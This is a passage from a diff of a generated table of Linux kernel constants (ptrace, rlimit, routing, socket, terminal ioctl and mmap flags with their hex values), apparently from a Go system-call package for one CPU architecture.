-- PR_SET_SECUREBITS = 0x1c
-- PR_SET_THP_DISABLE = 0x29
-- PR_SET_TIMERSLACK = 0x1d
-- PR_SET_TIMING = 0xe
-- PR_SET_TSC = 0x1a
-- PR_SET_UNALIGN = 0x6
-- PR_TASK_PERF_EVENTS_DISABLE = 0x1f
-- PR_TASK_PERF_EVENTS_ENABLE = 0x20
-- PR_TIMING_STATISTICAL = 0x0
-- PR_TIMING_TIMESTAMP = 0x1
-- PR_TSC_ENABLE = 0x1
-- PR_TSC_SIGSEGV = 0x2
-- PR_UNALIGN_NOPRINT = 0x1
-- PR_UNALIGN_SIGBUS = 0x2
-- PTRACE_ATTACH = 0x10
-- PTRACE_CONT = 0x7
-- PTRACE_DETACH = 0x11
-- PTRACE_EVENT_CLONE = 0x3
-- PTRACE_EVENT_EXEC = 0x4
-- PTRACE_EVENT_EXIT = 0x6
-- PTRACE_EVENT_FORK = 0x1
-- PTRACE_EVENT_SECCOMP = 0x7
-- PTRACE_EVENT_STOP = 0x80
-- PTRACE_EVENT_VFORK = 0x2
-- PTRACE_EVENT_VFORK_DONE = 0x5
-- PTRACE_GETEVENTMSG = 0x4201
-- PTRACE_GETFPREGS = 0xe
-- PTRACE_GETREGS = 0xc
-- PTRACE_GETREGSET = 0x4204
-- PTRACE_GETSIGINFO = 0x4202
-- PTRACE_GETSIGMASK = 0x420a
-- PTRACE_GET_THREAD_AREA = 0x19
-- PTRACE_GET_THREAD_AREA_3264 = 0xc4
-- PTRACE_GET_WATCH_REGS = 0xd0
-- PTRACE_INTERRUPT = 0x4207
-- PTRACE_KILL = 0x8
-- PTRACE_LISTEN = 0x4208
-- PTRACE_OLDSETOPTIONS = 0x15
-- PTRACE_O_EXITKILL = 0x100000
-- PTRACE_O_MASK = 0x3000ff
-- PTRACE_O_SUSPEND_SECCOMP = 0x200000
-- PTRACE_O_TRACECLONE = 0x8
-- PTRACE_O_TRACEEXEC = 0x10
-- PTRACE_O_TRACEEXIT = 0x40
-- PTRACE_O_TRACEFORK = 0x2
-- PTRACE_O_TRACESECCOMP = 0x80
-- PTRACE_O_TRACESYSGOOD = 0x1
-- PTRACE_O_TRACEVFORK = 0x4
-- PTRACE_O_TRACEVFORKDONE = 0x20
-- PTRACE_PEEKDATA = 0x2
-- PTRACE_PEEKDATA_3264 = 0xc1
-- PTRACE_PEEKSIGINFO = 0x4209
-- PTRACE_PEEKSIGINFO_SHARED = 0x1
-- PTRACE_PEEKTEXT = 0x1
-- PTRACE_PEEKTEXT_3264 = 0xc0
-- PTRACE_PEEKUSR = 0x3
-- PTRACE_POKEDATA = 0x5
-- PTRACE_POKEDATA_3264 = 0xc3
-- PTRACE_POKETEXT = 0x4
-- PTRACE_POKETEXT_3264 = 0xc2
-- PTRACE_POKEUSR = 0x6
-- PTRACE_SECCOMP_GET_FILTER = 0x420c
-- PTRACE_SEIZE = 0x4206
-- PTRACE_SETFPREGS = 0xf
-- PTRACE_SETOPTIONS = 0x4200
-- PTRACE_SETREGS = 0xd
-- PTRACE_SETREGSET = 0x4205
-- PTRACE_SETSIGINFO = 0x4203
-- PTRACE_SETSIGMASK = 0x420b
-- PTRACE_SET_THREAD_AREA = 0x1a
-- PTRACE_SET_WATCH_REGS = 0xd1
-- PTRACE_SINGLESTEP = 0x9
-- PTRACE_SYSCALL = 0x18
-- PTRACE_TRACEME = 0x0
-- RLIMIT_AS = 0x6
-- RLIMIT_CORE = 0x4
-- RLIMIT_CPU = 0x0
-- RLIMIT_DATA = 0x2
-- RLIMIT_FSIZE = 0x1
-- RLIMIT_LOCKS = 0xa
-- RLIMIT_MEMLOCK = 0x9
-- RLIMIT_MSGQUEUE = 0xc
-- RLIMIT_NICE = 0xd
-- RLIMIT_NOFILE = 0x5
-- RLIMIT_NPROC = 0x8
-- RLIMIT_RSS = 0x7
-- RLIMIT_RTPRIO = 0xe
-- RLIMIT_RTTIME = 0xf
-- RLIMIT_SIGPENDING = 0xb
-- RLIMIT_STACK = 0x3
-- RLIM_INFINITY = -0x1
-- RTAX_ADVMSS = 0x8
-- RTAX_CC_ALGO = 0x10
-- RTAX_CWND = 0x7
-- RTAX_FEATURES = 0xc
-- RTAX_FEATURE_ALLFRAG = 0x8
-- RTAX_FEATURE_ECN = 0x1
-- RTAX_FEATURE_MASK = 0xf
-- RTAX_FEATURE_SACK = 0x2
-- RTAX_FEATURE_TIMESTAMP = 0x4
-- RTAX_HOPLIMIT = 0xa
-- RTAX_INITCWND = 0xb
-- RTAX_INITRWND = 0xe
-- RTAX_LOCK = 0x1
-- RTAX_MAX = 0x10
-- RTAX_MTU = 0x2
-- RTAX_QUICKACK = 0xf
-- RTAX_REORDERING = 0x9
-- RTAX_RTO_MIN = 0xd
-- RTAX_RTT = 0x4
-- RTAX_RTTVAR = 0x5
-- RTAX_SSTHRESH = 0x6
-- RTAX_UNSPEC = 0x0
-- RTAX_WINDOW = 0x3
-- RTA_ALIGNTO = 0x4
-- RTA_MAX = 0x19
-- RTCF_DIRECTSRC = 0x4000000
-- RTCF_DOREDIRECT = 0x1000000
-- RTCF_LOG = 0x2000000
-- RTCF_MASQ = 0x400000
-- RTCF_NAT = 0x800000
-- RTCF_VALVE = 0x200000
-- RTF_ADDRCLASSMASK = 0xf8000000
-- RTF_ADDRCONF = 0x40000
-- RTF_ALLONLINK = 0x20000
-- RTF_BROADCAST = 0x10000000
-- RTF_CACHE = 0x1000000
-- RTF_DEFAULT = 0x10000
-- RTF_DYNAMIC = 0x10
-- RTF_FLOW = 0x2000000
-- RTF_GATEWAY = 0x2
-- RTF_HOST = 0x4
-- RTF_INTERFACE = 0x40000000
-- RTF_IRTT = 0x100
-- RTF_LINKRT = 0x100000
-- RTF_LOCAL = 0x80000000
-- RTF_MODIFIED = 0x20
-- RTF_MSS = 0x40
-- RTF_MTU = 0x40
-- RTF_MULTICAST = 0x20000000
-- RTF_NAT = 0x8000000
-- RTF_NOFORWARD = 0x1000
-- RTF_NONEXTHOP = 0x200000
-- RTF_NOPMTUDISC = 0x4000
-- RTF_POLICY = 0x4000000
-- RTF_REINSTATE = 0x8
-- RTF_REJECT = 0x200
-- RTF_STATIC = 0x400
-- RTF_THROW = 0x2000
-- RTF_UP = 0x1
-- RTF_WINDOW = 0x80
-- RTF_XRESOLVE = 0x800
-- RTM_BASE = 0x10
-- RTM_DELACTION = 0x31
-- RTM_DELADDR = 0x15
-- RTM_DELADDRLABEL = 0x49
-- RTM_DELLINK = 0x11
-- RTM_DELMDB = 0x55
-- RTM_DELNEIGH = 0x1d
-- RTM_DELNSID = 0x59
-- RTM_DELQDISC = 0x25
-- RTM_DELROUTE = 0x19
-- RTM_DELRULE = 0x21
-- RTM_DELTCLASS = 0x29
-- RTM_DELTFILTER = 0x2d
-- RTM_F_CLONED = 0x200
-- RTM_F_EQUALIZE = 0x400
-- RTM_F_LOOKUP_TABLE = 0x1000
-- RTM_F_NOTIFY = 0x100
-- RTM_F_PREFIX = 0x800
-- RTM_GETACTION = 0x32
-- RTM_GETADDR = 0x16
-- RTM_GETADDRLABEL = 0x4a
-- RTM_GETANYCAST = 0x3e
-- RTM_GETDCB = 0x4e
-- RTM_GETLINK = 0x12
-- RTM_GETMDB = 0x56
-- RTM_GETMULTICAST = 0x3a
-- RTM_GETNEIGH = 0x1e
-- RTM_GETNEIGHTBL = 0x42
-- RTM_GETNETCONF = 0x52
-- RTM_GETNSID = 0x5a
-- RTM_GETQDISC = 0x26
-- RTM_GETROUTE = 0x1a
-- RTM_GETRULE = 0x22
-- RTM_GETSTATS = 0x5e
-- RTM_GETTCLASS = 0x2a
-- RTM_GETTFILTER = 0x2e
-- RTM_MAX = 0x5f
-- RTM_NEWACTION = 0x30
-- RTM_NEWADDR = 0x14
-- RTM_NEWADDRLABEL = 0x48
-- RTM_NEWLINK = 0x10
-- RTM_NEWMDB = 0x54
-- RTM_NEWNDUSEROPT = 0x44
-- RTM_NEWNEIGH = 0x1c
-- RTM_NEWNEIGHTBL = 0x40
-- RTM_NEWNETCONF = 0x50
-- RTM_NEWNSID = 0x58
-- RTM_NEWPREFIX = 0x34
-- RTM_NEWQDISC = 0x24
-- RTM_NEWROUTE = 0x18
-- RTM_NEWRULE = 0x20
-- RTM_NEWSTATS = 0x5c
-- RTM_NEWTCLASS = 0x28
-- RTM_NEWTFILTER = 0x2c
-- RTM_NR_FAMILIES = 0x14
-- RTM_NR_MSGTYPES = 0x50
-- RTM_SETDCB = 0x4f
-- RTM_SETLINK = 0x13
-- RTM_SETNEIGHTBL = 0x43
-- RTNH_ALIGNTO = 0x4
-- RTNH_COMPARE_MASK = 0x19
-- RTNH_F_DEAD = 0x1
-- RTNH_F_LINKDOWN = 0x10
-- RTNH_F_OFFLOAD = 0x8
-- RTNH_F_ONLINK = 0x4
-- RTNH_F_PERVASIVE = 0x2
-- RTN_MAX = 0xb
-- RTPROT_BABEL = 0x2a
-- RTPROT_BIRD = 0xc
-- RTPROT_BOOT = 0x3
-- RTPROT_DHCP = 0x10
-- RTPROT_DNROUTED = 0xd
-- RTPROT_GATED = 0x8
-- RTPROT_KERNEL = 0x2
-- RTPROT_MROUTED = 0x11
-- RTPROT_MRT = 0xa
-- RTPROT_NTK = 0xf
-- RTPROT_RA = 0x9
-- RTPROT_REDIRECT = 0x1
-- RTPROT_STATIC = 0x4
-- RTPROT_UNSPEC = 0x0
-- RTPROT_XORP = 0xe
-- RTPROT_ZEBRA = 0xb
-- RT_CLASS_DEFAULT = 0xfd
-- RT_CLASS_LOCAL = 0xff
-- RT_CLASS_MAIN = 0xfe
-- RT_CLASS_MAX = 0xff
-- RT_CLASS_UNSPEC = 0x0
-- RUSAGE_CHILDREN = -0x1
-- RUSAGE_SELF = 0x0
-- RUSAGE_THREAD = 0x1
-- SCM_CREDENTIALS = 0x2
-- SCM_RIGHTS = 0x1
-- SCM_TIMESTAMP = 0x1d
-- SCM_TIMESTAMPING = 0x25
-- SCM_TIMESTAMPING_OPT_STATS = 0x36
-- SCM_TIMESTAMPNS = 0x23
-- SCM_WIFI_STATUS = 0x29
-- SECCOMP_MODE_DISABLED = 0x0
-- SECCOMP_MODE_FILTER = 0x2
-- SECCOMP_MODE_STRICT = 0x1
-- SHUT_RD = 0x0
-- SHUT_RDWR = 0x2
-- SHUT_WR = 0x1
-- SIOCADDDLCI = 0x8980
-- SIOCADDMULTI = 0x8931
-- SIOCADDRT = 0x890b
-- SIOCATMARK = 0x40047307
-- SIOCBONDCHANGEACTIVE = 0x8995
-- SIOCBONDENSLAVE = 0x8990
-- SIOCBONDINFOQUERY = 0x8994
-- SIOCBONDRELEASE = 0x8991
-- SIOCBONDSETHWADDR = 0x8992
-- SIOCBONDSLAVEINFOQUERY = 0x8993
-- SIOCBRADDBR = 0x89a0
-- SIOCBRADDIF = 0x89a2
-- SIOCBRDELBR = 0x89a1
-- SIOCBRDELIF = 0x89a3
-- SIOCDARP = 0x8953
-- SIOCDELDLCI = 0x8981
-- SIOCDELMULTI = 0x8932
-- SIOCDELRT = 0x890c
-- SIOCDEVPRIVATE = 0x89f0
-- SIOCDIFADDR = 0x8936
-- SIOCDRARP = 0x8960
-- SIOCETHTOOL = 0x8946
-- SIOCGARP = 0x8954
-- SIOCGHWTSTAMP = 0x89b1
-- SIOCGIFADDR = 0x8915
-- SIOCGIFBR = 0x8940
-- SIOCGIFBRDADDR = 0x8919
-- SIOCGIFCONF = 0x8912
-- SIOCGIFCOUNT = 0x8938
-- SIOCGIFDSTADDR = 0x8917
-- SIOCGIFENCAP = 0x8925
-- SIOCGIFFLAGS = 0x8913
-- SIOCGIFHWADDR = 0x8927
-- SIOCGIFINDEX = 0x8933
-- SIOCGIFMAP = 0x8970
-- SIOCGIFMEM = 0x891f
-- SIOCGIFMETRIC = 0x891d
-- SIOCGIFMTU = 0x8921
-- SIOCGIFNAME = 0x8910
-- SIOCGIFNETMASK = 0x891b
-- SIOCGIFPFLAGS = 0x8935
-- SIOCGIFSLAVE = 0x8929
-- SIOCGIFTXQLEN = 0x8942
-- SIOCGIFVLAN = 0x8982
-- SIOCGMIIPHY = 0x8947
-- SIOCGMIIREG = 0x8948
-- SIOCGPGRP = 0x40047309
-- SIOCGRARP = 0x8961
-- SIOCGSKNS = 0x894c
-- SIOCGSTAMP = 0x8906
-- SIOCGSTAMPNS = 0x8907
-- SIOCINQ = 0x467f
-- SIOCOUTQ = 0x7472
-- SIOCOUTQNSD = 0x894b
-- SIOCPROTOPRIVATE = 0x89e0
-- SIOCRTMSG = 0x890d
-- SIOCSARP = 0x8955
-- SIOCSHWTSTAMP = 0x89b0
-- SIOCSIFADDR = 0x8916
-- SIOCSIFBR = 0x8941
-- SIOCSIFBRDADDR = 0x891a
-- SIOCSIFDSTADDR = 0x8918
-- SIOCSIFENCAP = 0x8926
-- SIOCSIFFLAGS = 0x8914
-- SIOCSIFHWADDR = 0x8924
-- SIOCSIFHWBROADCAST = 0x8937
-- SIOCSIFLINK = 0x8911
-- SIOCSIFMAP = 0x8971
-- SIOCSIFMEM = 0x8920
-- SIOCSIFMETRIC = 0x891e
-- SIOCSIFMTU = 0x8922
-- SIOCSIFNAME = 0x8923
-- SIOCSIFNETMASK = 0x891c
-- SIOCSIFPFLAGS = 0x8934
-- SIOCSIFSLAVE = 0x8930
-- SIOCSIFTXQLEN = 0x8943
-- SIOCSIFVLAN = 0x8983
-- SIOCSMIIREG = 0x8949
-- SIOCSPGRP = 0x80047308
-- SIOCSRARP = 0x8962
-- SIOCWANDEV = 0x894a
-- SOCK_CLOEXEC = 0x80000
-- SOCK_DCCP = 0x6
-- SOCK_DGRAM = 0x1
-- SOCK_IOC_TYPE = 0x89
-- SOCK_NONBLOCK = 0x80
-- SOCK_PACKET = 0xa
-- SOCK_RAW = 0x3
-- SOCK_RDM = 0x4
-- SOCK_SEQPACKET = 0x5
-- SOCK_STREAM = 0x2
-- SOL_AAL = 0x109
-- SOL_ALG = 0x117
-- SOL_ATM = 0x108
-- SOL_CAIF = 0x116
-- SOL_CAN_BASE = 0x64
-- SOL_DCCP = 0x10d
-- SOL_DECNET = 0x105
-- SOL_ICMPV6 = 0x3a
-- SOL_IP = 0x0
-- SOL_IPV6 = 0x29
-- SOL_IRDA = 0x10a
-- SOL_IUCV = 0x115
-- SOL_KCM = 0x119
-- SOL_LLC = 0x10c
-- SOL_NETBEUI = 0x10b
-- SOL_NETLINK = 0x10e
-- SOL_NFC = 0x118
-- SOL_PACKET = 0x107
-- SOL_PNPIPE = 0x113
-- SOL_PPPOL2TP = 0x111
-- SOL_RAW = 0xff
-- SOL_RDS = 0x114
-- SOL_RXRPC = 0x110
-- SOL_SOCKET = 0xffff
-- SOL_TCP = 0x6
-- SOL_TIPC = 0x10f
-- SOL_X25 = 0x106
-- SOMAXCONN = 0x80
-- SO_ACCEPTCONN = 0x1009
-- SO_ATTACH_BPF = 0x32
-- SO_ATTACH_FILTER = 0x1a
-- SO_ATTACH_REUSEPORT_CBPF = 0x33
-- SO_ATTACH_REUSEPORT_EBPF = 0x34
-- SO_BINDTODEVICE = 0x19
-- SO_BPF_EXTENSIONS = 0x30
-- SO_BROADCAST = 0x20
-- SO_BSDCOMPAT = 0xe
-- SO_BUSY_POLL = 0x2e
-- SO_CNX_ADVICE = 0x35
-- SO_DEBUG = 0x1
-- SO_DETACH_BPF = 0x1b
-- SO_DETACH_FILTER = 0x1b
-- SO_DOMAIN = 0x1029
-- SO_DONTROUTE = 0x10
-- SO_ERROR = 0x1007
-- SO_GET_FILTER = 0x1a
-- SO_INCOMING_CPU = 0x31
-- SO_KEEPALIVE = 0x8
-- SO_LINGER = 0x80
-- SO_LOCK_FILTER = 0x2c
-- SO_MARK = 0x24
-- SO_MAX_PACING_RATE = 0x2f
-- SO_NOFCS = 0x2b
-- SO_NO_CHECK = 0xb
-- SO_OOBINLINE = 0x100
-- SO_PASSCRED = 0x11
-- SO_PASSSEC = 0x22
-- SO_PEEK_OFF = 0x2a
-- SO_PEERCRED = 0x12
-- SO_PEERNAME = 0x1c
-- SO_PEERSEC = 0x1e
-- SO_PRIORITY = 0xc
-- SO_PROTOCOL = 0x1028
-- SO_RCVBUF = 0x1002
-- SO_RCVBUFFORCE = 0x21
-- SO_RCVLOWAT = 0x1004
-- SO_RCVTIMEO = 0x1006
-- SO_REUSEADDR = 0x4
-- SO_REUSEPORT = 0x200
-- SO_RXQ_OVFL = 0x28
-- SO_SECURITY_AUTHENTICATION = 0x16
-- SO_SECURITY_ENCRYPTION_NETWORK = 0x18
-- SO_SECURITY_ENCRYPTION_TRANSPORT = 0x17
-- SO_SELECT_ERR_QUEUE = 0x2d
-- SO_SNDBUF = 0x1001
-- SO_SNDBUFFORCE = 0x1f
-- SO_SNDLOWAT = 0x1003
-- SO_SNDTIMEO = 0x1005
-- SO_STYLE = 0x1008
-- SO_TIMESTAMP = 0x1d
-- SO_TIMESTAMPING = 0x25
-- SO_TIMESTAMPNS = 0x23
-- SO_TYPE = 0x1008
-- SO_VM_SOCKETS_BUFFER_MAX_SIZE = 0x2
-- SO_VM_SOCKETS_BUFFER_MIN_SIZE = 0x1
-- SO_VM_SOCKETS_BUFFER_SIZE = 0x0
-- SO_VM_SOCKETS_CONNECT_TIMEOUT = 0x6
-- SO_VM_SOCKETS_NONBLOCK_TXRX = 0x7
-- SO_VM_SOCKETS_PEER_HOST_VM_ID = 0x3
-- SO_VM_SOCKETS_TRUSTED = 0x5
-- SO_WIFI_STATUS = 0x29
-- SPLICE_F_GIFT = 0x8
-- SPLICE_F_MORE = 0x4
-- SPLICE_F_MOVE = 0x1
-- SPLICE_F_NONBLOCK = 0x2
-- S_BLKSIZE = 0x200
-- S_IEXEC = 0x40
-- S_IFBLK = 0x6000
-- S_IFCHR = 0x2000
-- S_IFDIR = 0x4000
-- S_IFIFO = 0x1000
-- S_IFLNK = 0xa000
-- S_IFMT = 0xf000
-- S_IFREG = 0x8000
-- S_IFSOCK = 0xc000
-- S_IREAD = 0x100
-- S_IRGRP = 0x20
-- S_IROTH = 0x4
-- S_IRUSR = 0x100
-- S_IRWXG = 0x38
-- S_IRWXO = 0x7
-- S_IRWXU = 0x1c0
-- S_ISGID = 0x400
-- S_ISUID = 0x800
-- S_ISVTX = 0x200
-- S_IWGRP = 0x10
-- S_IWOTH = 0x2
-- S_IWRITE = 0x80
-- S_IWUSR = 0x80
-- S_IXGRP = 0x8
-- S_IXOTH = 0x1
-- S_IXUSR = 0x40
-- TAB0 = 0x0
-- TAB1 = 0x800
-- TAB2 = 0x1000
-- TAB3 = 0x1800
-- TABDLY = 0x1800
-- TASKSTATS_CMD_ATTR_MAX = 0x4
-- TASKSTATS_CMD_MAX = 0x2
-- TASKSTATS_GENL_NAME = "TASKSTATS"
-- TASKSTATS_GENL_VERSION = 0x1
-- TASKSTATS_TYPE_MAX = 0x6
-- TASKSTATS_VERSION = 0x8
-- TCFLSH = 0x5407
-- TCGETA = 0x5401
-- TCGETS = 0x540d
-- TCGETS2 = 0x4030542a
-- TCIFLUSH = 0x0
-- TCIOFF = 0x2
-- TCIOFLUSH = 0x2
-- TCION = 0x3
-- TCOFLUSH = 0x1
-- TCOOFF = 0x0
-- TCOON = 0x1
-- TCP_CC_INFO = 0x1a
-- TCP_CONGESTION = 0xd
-- TCP_COOKIE_IN_ALWAYS = 0x1
-- TCP_COOKIE_MAX = 0x10
-- TCP_COOKIE_MIN = 0x8
-- TCP_COOKIE_OUT_NEVER = 0x2
-- TCP_COOKIE_PAIR_SIZE = 0x20
-- TCP_COOKIE_TRANSACTIONS = 0xf
-- TCP_CORK = 0x3
-- TCP_DEFER_ACCEPT = 0x9
-- TCP_FASTOPEN = 0x17
-- TCP_INFO = 0xb
-- TCP_KEEPCNT = 0x6
-- TCP_KEEPIDLE = 0x4
-- TCP_KEEPINTVL = 0x5
-- TCP_LINGER2 = 0x8
-- TCP_MAXSEG = 0x2
-- TCP_MAXWIN = 0xffff
-- TCP_MAX_WINSHIFT = 0xe
-- TCP_MD5SIG = 0xe
-- TCP_MD5SIG_MAXKEYLEN = 0x50
-- TCP_MSS = 0x200
-- TCP_MSS_DEFAULT = 0x218
-- TCP_MSS_DESIRED = 0x4c4
-- TCP_NODELAY = 0x1
-- TCP_NOTSENT_LOWAT = 0x19
-- TCP_QUEUE_SEQ = 0x15
-- TCP_QUICKACK = 0xc
-- TCP_REPAIR = 0x13
-- TCP_REPAIR_OPTIONS = 0x16
-- TCP_REPAIR_QUEUE = 0x14
-- TCP_REPAIR_WINDOW = 0x1d
-- TCP_SAVED_SYN = 0x1c
-- TCP_SAVE_SYN = 0x1b
-- TCP_SYNCNT = 0x7
-- TCP_S_DATA_IN = 0x4
-- TCP_S_DATA_OUT = 0x8
-- TCP_THIN_DUPACK = 0x11
-- TCP_THIN_LINEAR_TIMEOUTS = 0x10
-- TCP_TIMESTAMP = 0x18
-- TCP_USER_TIMEOUT = 0x12
-- TCP_WINDOW_CLAMP = 0xa
-- TCSAFLUSH = 0x5410
-- TCSBRK = 0x5405
-- TCSBRKP = 0x5486
-- TCSETA = 0x5402
-- TCSETAF = 0x5404
-- TCSETAW = 0x5403
-- TCSETS = 0x540e
-- TCSETS2 = 0x8030542b
-- TCSETSF = 0x5410
-- TCSETSF2 = 0x8030542d
-- TCSETSW = 0x540f
-- TCSETSW2 = 0x8030542c
-- TCXONC = 0x5406
-- TIOCCBRK = 0x5428
-- TIOCCONS = 0x80047478
-- TIOCEXCL = 0x740d
-- TIOCGDEV = 0x40045432
-- TIOCGETD = 0x7400
-- TIOCGETP = 0x7408
-- TIOCGEXCL = 0x40045440
-- TIOCGICOUNT = 0x5492
-- TIOCGLCKTRMIOS = 0x548b
-- TIOCGLTC = 0x7474
-- TIOCGPGRP = 0x40047477
-- TIOCGPKT = 0x40045438
-- TIOCGPTLCK = 0x40045439
-- TIOCGPTN = 0x40045430
-- TIOCGRS485 = 0x4020542e
-- TIOCGSERIAL = 0x5484
-- TIOCGSID = 0x7416
-- TIOCGSOFTCAR = 0x5481
-- TIOCGWINSZ = 0x40087468
-- TIOCINQ = 0x467f
-- TIOCLINUX = 0x5483
-- TIOCMBIC = 0x741c
-- TIOCMBIS = 0x741b
-- TIOCMGET = 0x741d
-- TIOCMIWAIT = 0x5491
-- TIOCMSET = 0x741a
-- TIOCM_CAR = 0x100
-- TIOCM_CD = 0x100
-- TIOCM_CTS = 0x40
-- TIOCM_DSR = 0x400
-- TIOCM_DTR = 0x2
-- TIOCM_LE = 0x1
-- TIOCM_RI = 0x200
-- TIOCM_RNG = 0x200
-- TIOCM_RTS = 0x4
-- TIOCM_SR = 0x20
-- TIOCM_ST = 0x10
-- TIOCNOTTY = 0x5471
-- TIOCNXCL = 0x740e
-- TIOCOUTQ = 0x7472
-- TIOCPKT = 0x5470
-- TIOCPKT_DATA = 0x0
-- TIOCPKT_DOSTOP = 0x20
-- TIOCPKT_FLUSHREAD = 0x1
-- TIOCPKT_FLUSHWRITE = 0x2
-- TIOCPKT_IOCTL = 0x40
-- TIOCPKT_NOSTOP = 0x10
-- TIOCPKT_START = 0x8
-- TIOCPKT_STOP = 0x4
-- TIOCSBRK = 0x5427
-- TIOCSCTTY = 0x5480
-- TIOCSERCONFIG = 0x5488
-- TIOCSERGETLSR = 0x548e
-- TIOCSERGETMULTI = 0x548f
-- TIOCSERGSTRUCT = 0x548d
-- TIOCSERGWILD = 0x5489
-- TIOCSERSETMULTI = 0x5490
-- TIOCSERSWILD = 0x548a
-- TIOCSER_TEMT = 0x1
-- TIOCSETD = 0x7401
-- TIOCSETN = 0x740a
-- TIOCSETP = 0x7409
-- TIOCSIG = 0x80045436
-- TIOCSLCKTRMIOS = 0x548c
-- TIOCSLTC = 0x7475
-- TIOCSPGRP = 0x80047476
-- TIOCSPTLCK = 0x80045431
-- TIOCSRS485 = 0xc020542f
-- TIOCSSERIAL = 0x5485
-- TIOCSSOFTCAR = 0x5482
-- TIOCSTI = 0x5472
-- TIOCSWINSZ = 0x80087467
-- TIOCVHANGUP = 0x5437
-- TOSTOP = 0x8000
-- TS_COMM_LEN = 0x20
-- TUNATTACHFILTER = 0x801054d5
-- TUNDETACHFILTER = 0x801054d6
-- TUNGETFEATURES = 0x400454cf
-- TUNGETFILTER = 0x401054db
-- TUNGETIFF = 0x400454d2
-- TUNGETSNDBUF = 0x400454d3
-- TUNGETVNETBE = 0x400454df
-- TUNGETVNETHDRSZ = 0x400454d7
-- TUNGETVNETLE = 0x400454dd
-- TUNSETDEBUG = 0x800454c9
-- TUNSETGROUP = 0x800454ce
-- TUNSETIFF = 0x800454ca
-- TUNSETIFINDEX = 0x800454da
-- TUNSETLINK = 0x800454cd
-- TUNSETNOCSUM = 0x800454c8
-- TUNSETOFFLOAD = 0x800454d0
-- TUNSETOWNER = 0x800454cc
-- TUNSETPERSIST = 0x800454cb
-- TUNSETQUEUE = 0x800454d9
-- TUNSETSNDBUF = 0x800454d4
-- TUNSETTXFILTER = 0x800454d1
-- TUNSETVNETBE = 0x800454de
-- TUNSETVNETHDRSZ = 0x800454d8
-- TUNSETVNETLE = 0x800454dc
-- UMOUNT_NOFOLLOW = 0x8
-- VDISCARD = 0xd
-- VEOF = 0x10
-- VEOL = 0x11
-- VEOL2 = 0x6
-- VERASE = 0x2
-- VINTR = 0x0
-- VKILL = 0x3
-- VLNEXT = 0xf
-- VMADDR_CID_ANY = 0xffffffff
-- VMADDR_CID_HOST = 0x2
-- VMADDR_CID_HYPERVISOR = 0x0
-- VMADDR_CID_RESERVED = 0x1
-- VMADDR_PORT_ANY = 0xffffffff
-- VMIN = 0x4
-- VM_SOCKETS_INVALID_VERSION = 0xffffffff
-- VQUIT = 0x1
-- VREPRINT = 0xc
-- VSTART = 0x8
-- VSTOP = 0x9
-- VSUSP = 0xa
-- VSWTC = 0x7
-- VSWTCH = 0x7
-- VT0 = 0x0
-- VT1 = 0x4000
-- VTDLY = 0x4000
-- VTIME = 0x5
-- VWERASE = 0xe
-- WALL = 0x40000000
-- WCLONE = 0x80000000
-- WCONTINUED = 0x8
-- WEXITED = 0x4
-- WNOHANG = 0x1
-- WNOTHREAD = 0x20000000
-- WNOWAIT = 0x1000000
-- WORDSIZE = 0x40
-- WSTOPPED = 0x2
-- WUNTRACED = 0x2
-- XATTR_CREATE = 0x1
-- XATTR_REPLACE = 0x2
-- XCASE = 0x4
-- XTABS = 0x1800
-+ B1000000 = 0x1008
-+ B115200 = 0x1002
-+ B1152000 = 0x1009
-+ B1500000 = 0x100a
-+ B2000000 = 0x100b
-+ B230400 = 0x1003
-+ B2500000 = 0x100c
-+ B3000000 = 0x100d
-+ B3500000 = 0x100e
-+ B4000000 = 0x100f
-+ B460800 = 0x1004
-+ B500000 = 0x1005
-+ B57600 = 0x1001
-+ B576000 = 0x1006
-+ B921600 = 0x1007
-+ BLKBSZGET = 0x40081270
-+ BLKBSZSET = 0x80081271
-+ BLKFLSBUF = 0x20001261
-+ BLKFRAGET = 0x20001265
-+ BLKFRASET = 0x20001264
-+ BLKGETSIZE = 0x20001260
-+ BLKGETSIZE64 = 0x40081272
-+ BLKPBSZGET = 0x2000127b
-+ BLKRAGET = 0x20001263
-+ BLKRASET = 0x20001262
-+ BLKROGET = 0x2000125e
-+ BLKROSET = 0x2000125d
-+ BLKRRPART = 0x2000125f
-+ BLKSECTGET = 0x20001267
-+ BLKSECTSET = 0x20001266
-+ BLKSSZGET = 0x20001268
-+ BOTHER = 0x1000
-+ BS1 = 0x2000
-+ BSDLY = 0x2000
-+ CBAUD = 0x100f
-+ CBAUDEX = 0x1000
-+ CIBAUD = 0x100f0000
-+ CLOCAL = 0x800
-+ CR1 = 0x200
-+ CR2 = 0x400
-+ CR3 = 0x600
-+ CRDLY = 0x600
-+ CREAD = 0x80
-+ CS6 = 0x10
-+ CS7 = 0x20
-+ CS8 = 0x30
-+ CSIZE = 0x30
-+ CSTOPB = 0x40
-+ ECHOCTL = 0x200
-+ ECHOE = 0x10
-+ ECHOK = 0x20
-+ ECHOKE = 0x800
-+ ECHONL = 0x40
-+ ECHOPRT = 0x400
-+ EFD_CLOEXEC = 0x80000
-+ EFD_NONBLOCK = 0x80
-+ EPOLL_CLOEXEC = 0x80000
-+ EXTPROC = 0x10000
-+ FF1 = 0x8000
-+ FFDLY = 0x8000
-+ FLUSHO = 0x2000
-+ FS_IOC_ENABLE_VERITY = 0x80806685
-+ FS_IOC_GETFLAGS = 0x40086601
-+ FS_IOC_GET_ENCRYPTION_POLICY = 0x800c6615
-+ FS_IOC_GET_ENCRYPTION_PWSALT = 0x80106614
-+ FS_IOC_SET_ENCRYPTION_POLICY = 0x400c6613
-+ F_GETLK = 0xe
-+ F_GETLK64 = 0xe
-+ F_GETOWN = 0x17
-+ F_RDLCK = 0x0
-+ F_SETLK = 0x6
-+ F_SETLK64 = 0x6
-+ F_SETLKW = 0x7
-+ F_SETLKW64 = 0x7
-+ F_SETOWN = 0x18
-+ F_UNLCK = 0x2
-+ F_WRLCK = 0x1
-+ HUPCL = 0x400
-+ ICANON = 0x2
-+ IEXTEN = 0x100
-+ IN_CLOEXEC = 0x80000
-+ IN_NONBLOCK = 0x80
-+ IOCTL_VM_SOCKETS_GET_LOCAL_CID = 0x200007b9
-+ ISIG = 0x1
-+ IUCLC = 0x200
-+ IXOFF = 0x1000
-+ IXON = 0x400
-+ MAP_ANON = 0x800
-+ MAP_ANONYMOUS = 0x800
-+ MAP_DENYWRITE = 0x2000
-+ MAP_EXECUTABLE = 0x4000
-+ MAP_GROWSDOWN = 0x1000
-+ MAP_HUGETLB = 0x80000
-+ MAP_LOCKED = 0x8000
-+ MAP_NONBLOCK = 0x20000
-+ MAP_NORESERVE = 0x400
-+ MAP_POPULATE = 0x10000
